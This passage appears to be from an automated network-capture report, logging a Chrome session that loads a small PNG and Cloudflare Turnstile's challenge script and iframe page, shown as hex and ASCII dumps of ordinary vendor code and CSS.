2024-10-31 20:54:51 UTC	377	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 20:54:51 GMT Content-Type: image/png Content-Length: 324 Connection: close Last-Modified: Mon, 28 Oct 2024 08:06:07 GMT Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: public Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Accept-Ranges: bytes
2024-10-31 20:54:51 UTC	324	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 5c 08 03 00 00 00 d4 31 22 6a 00 00 00 60 50 4c 54 45 ff ff ff f3 53 25 05 a6 f0 81 bc 06 ff ba 08 fe ed ea ff fd fc eb f4 dd ea f4 fd ff fe fb fe f8 f7 fa fc f6 f6 fb fe ff fc f6 fb fe ff f3 58 2e 00 9f ef f3 50 20 f2 3f 00 98 c7 52 85 be 1c ff bc 1d 34 af f2 ff c6 52 f4 68 45 ff f3 dd 79 b9 00 f5 6e 4c f3 47 07 9d c9 5a 3f b3 f2 00 a3 f0 c9 4e 67 46 00 00 00 9f 49 44 41 54 68 81 ed d9 db 0a 82 40 14 85 e1 b1 b1 ec 60 1e d2 4e 56 fa fe 6f a9 9b 68 84 20 58 06 5e 14 ff 7f bd f8 d8 b7 c3 38 47 9f 5a 89 d9 76 23 16 f0 4b 29 75 58 0e db ca 4b 35 c9 88 47 4a e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 d3 71 a5 2f f1 5b 94 2b dd 0d 7f f8 5a c9 07 7c 2b 66 db 9d 98 fb fd 52 31 db ee c5 02 de 2e a4 Data Ascii: PNGIHDR\\1"j`PLTES%X.P ?R4RhEynLGZ?NgFIDATh@`NVoh X^8GZv#K)uXK5GJq/[+Z\|+fR1.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49728	104.18.95.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	383	OUT	GET /turnstile/v0/b/22755d9a86c9/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:52 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47672 Connection: close accept-ranges: bytes last-modified: Mon, 28 Oct 2024 19:08:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8db68aef8c19e542-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:54:52 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 75 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 66 29 7b 6e 28 66 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 75 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 75 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);funct
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 6a 74 28 65 29 7c 7c 71 74 28 65 2c 72 29 7c 7c 47 74 28 65 2c 72 29 7c 7c 7a 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return jt(e)\|\|qt(e,r)\|\|Gt(e,r)\|\|zt()}function D(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(l[0
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var q;(fu
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 24 7c 7c 28 24 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 Data Ascii: .NEVER="never",e.MANUAL="manual",e.AUTO="auto"})($\|\|($={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 Data Ascii: }function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 66 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 6c 2c 67 3d 4d 28 6b 72 2c 28 6c 3d 28 72 3d 65 2e 64 Data Ascii: ).concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(f)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES,l,g=M(kr,(l=(r=e.d
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 6c 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 Data Ascii: sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,l,g){var h=[null];h.push.apply
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 6c 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 6c 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 6c 2e 63 6f 64 65 3d 63 2c 6c 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 Data Ascii: call(this,o),Me(Be(l),"code",void 0),l.name="TurnstileError",l.code=c,l}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49729	104.18.94.41	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:54:52 UTC	801	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/qh7j5/0x4AAAAAAAyr4qst3s0poVsP/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 20:54:52 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:54:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26447 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-10-31 20:54:52 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 64 62 36 38 61 65 66 61 39 64 65 65 37 31 61 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8db68aefa9dee71a-DFWalt-svc: h3=":443"; ma=86400
2024-10-31 20:54:52 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d Data Ascii: enge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-
2024-10-31 20:54:52 UTC	1369	IN	Data Raw: 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 Data Ascii: k .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-li
